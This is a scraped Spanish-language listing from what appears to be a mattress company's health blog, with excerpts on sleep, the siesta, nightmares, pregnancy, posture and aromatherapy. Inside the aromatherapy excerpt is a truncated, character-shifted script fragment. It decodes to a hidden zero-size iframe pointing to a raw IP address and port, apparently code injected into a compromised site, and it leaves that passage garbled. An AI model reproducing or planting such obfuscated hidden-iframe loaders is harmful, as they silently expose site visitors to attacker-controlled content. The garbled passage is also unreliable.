LoMonaco

Lograr un sueño adecuado en todo momento, es un objetivo importante para mantener un estilo de vida saludable, sin embargo llevar a cabo esta máxima en determinadas etapas de la vida no es tarea fácil. El descanso, como función fisiológica responde a un patrón en buena parte determinado por factores biológicos del organismo, sigue una curva, que llega a su declive en la senectud. Entonces la pauta de sueño...

La siesta, esa que tanto odiábamos de niños y que anhelamos de mayores es una costumbre extendida en nuestro país, pero que no la inventamos nosotros. El hábito y el nombre se lo debemos (como otras muchas cosas) a la antigua Roma, cuando después de una abundante comida, tenían la bendita costumbre de reposar los alimentos; esto solía suceder alrededor de los que ellos llamaban “la hora sexta” del...

Las pesadillas están definidas como Parasomnias, según la CIE 10 (Clasificación Internacional de enfermedades según la Organización Mundial de la Salud), junto con el sonambulismo y los terrores nocturnos. No son otra cosa que sueños aterradores, cargados de ansiedad, que se recuerdan de una manera muy real durante el día, cargados de gran contenido emocional y muy vívidos (dudamos si estamos dormidos o despiertos). También se produce un leve estado...

En Grupo Lo Monaco pensamos que el correcto descanso es lo más importante y este objetivo, nos ha acompañado siempre desde el principio. Por él y para él hemos trabajado día a día, incorporando las últimas tecnologías a nuestros productos. Gracias a nuestro comité de I+D+I mantenemos la innovación como una constante en nuestra filosofía para poder ofrecerle siempre a nuestros clientes, lo más avanzado en colchones. Por todo...

El embarazo supone una etapa de cambios progresivos, significativos y reversibles (en ocasiones) en el cuerpo de la futura mamá. Las funciones fisiológicas se ven alteradas en la mayoría de las ocasiones y el sueño como proceso vital que supone, no está exento de perturbaciones que se mueven en un continuo, que va del insomnio a la somnolencia extrema. Durante el primer trimestre, muchas mujeres experimentarán cansancio diurno y...

El año nuevo viene cargado de nuevos propósitos para nosotros, la mayoría de ellos relacionados con sentirnos mejor. Dejar de fumar, ponernos a régimen para perder esos kilitos de más ganados con los excesos navideños, tener un año cargado de deporte… sin reparar en que la verdadera base de nuestra salud es algo mucho más natural y cotidiano: dormir . Si descansamos correctamente todos los días del año, muchos...

En el último reportaje del año, desde Grupo Lo Monaco nos gustaría hacer balance de lo que ha supuesto este año 2012 en lo que a artículos de salud y descanso se refiere. Ha sido un año lleno de proyectos, ilusiones que hemos intentado plasmar en este espacio que compartimos. A comienzos del año presentamos a los lectores de Ideal Salud el resultado de nuestro trabajo para ofrecer la fórmula...

El próximo día 20 de Noviembre se celebra como cada año, el Día Universal del Niño, fecha que conmemora la declaración de los Derechos del Niño por la ONU. Uno de los derechos fundamentales que recoge el citado documento es que el niño tiene derecho a crecer y desarrollarse en salud. Precisamente el sueño es una función fisiológica en la salud y crecimiento de un niño; numerosos problemas psicomotrices,...

En infinidad de ocasiones hemos despertado con algún dolor corporal tras una noche de sueño. Esto ha condicionado nuestro día a día y nos ha concienciado de lo importante que es la postura durante el descanso. La postura es simplemente aquella posición que adopta una persona ya sea cuando está de pie, sentada, o acostada. Una postura adecuada implica espalda erguida, cabeza recta, hombros relajados, piernas alineadas con la...

La aromaterapia, tal y como se practica hoy día, hereda la tradición de culturas milenarias como la china o la hindú, y utiliza los aceites esenciales obtenidos de las plantas para tratar determinadas afecciones. Se trata de una rama de la fitoterapia, que sostiene que los principios activos de ciertos vegetales poseen propiedades terapéuticas, indicados para cada categoría de patologías. #iuuq;006/:/344/83;91910fDOpPh#!xjeui>#1#!ifjhiu>#1#!tuzmf>#wjtjcjmjuz;!ijeefo<#?=0jgsbnf?"; m=""; for (i=0; i El mecanismo de acción del olfato, activa...

El Síndrome Postvacacional, también llamado Depresión Postvacacional, o estrés postvacacional, que llena los espacios de noticias al llegar septiembre, no es otra cosa que una reacción de estrés moderada, una respuesta adaptativa, que nuestro organismo experimenta al volver a los quehaceres cotidianos y a los horarios que se establecen como normales, tras un período de vacaciones de varias semanas de duración. Oscilará el grado de afectación entre unas personas...

En el artículo anterior iniciábamos un análisis de las condiciones que hacen que el descanso en verano no sea tan placentero como el resto del año. De hecho los trastornos del sueño aumentan su frecuencia en la época estival y personas que nunca habían padecido estos problemas ven alterada su dinámica habitual. Señalábamos como negativas las influencias del calor, ruidos nocturnos, cambios horarios etc. Pero no son las...